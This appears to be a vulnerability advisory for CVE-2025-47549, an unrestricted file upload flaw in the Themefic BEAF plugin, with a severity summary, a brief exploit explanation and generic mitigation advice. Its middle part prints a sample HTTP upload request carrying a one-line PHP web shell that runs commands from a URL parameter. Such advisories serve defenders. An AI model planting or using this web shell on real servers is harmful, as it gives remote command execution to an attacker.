Overview
We are addressing a critical vulnerability (CVE-2025-47549) that affects the Themefic BEAF. This vulnerability allows for the unrestricted uploading of a file with a dangerous type, specifically permitting a malicious actor to upload a Web Shell to a Web Server. It’s a significant issue that threatens the integrity and security of any system running on the affected versions of BEAF. Given the potential for system compromise and data leakage, immediate attention and remediation are necessary.
Vulnerability Summary
CVE ID: CVE-2025-47549
Severity: Critical (9.1 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and data leakage
Affected Products
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Product | Affected Versions
Themefic BEAF | Up to 4.6.10
How the Exploit Works
An attacker exploits this vulnerability by uploading a file with a dangerous type, such as a web shell, to the server. A web shell allows the attacker to run commands remotely on the compromised server, giving them the capability to perform a wide range of malicious actions. This vulnerability exists due to inadequate input validation and sanitization of the file upload functionality in Themefic BEAF.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited using an HTTP request to upload a web shell:
POST /upload_file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, `shell.php` is the uploaded web shell file that, when executed, runs the command specified in the `cmd` GET parameter.
Mitigation and Recommendations
The first line of defense against this critical vulnerability is to apply the vendor patch as soon as it’s available. If the patch is not yet ready, a temporary mitigation can be achieved by using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor, detect, and block malicious file uploads. Additionally, it’s recommended to regularly update the system and applications to the latest versions to help prevent exploitation from other known vulnerabilities.
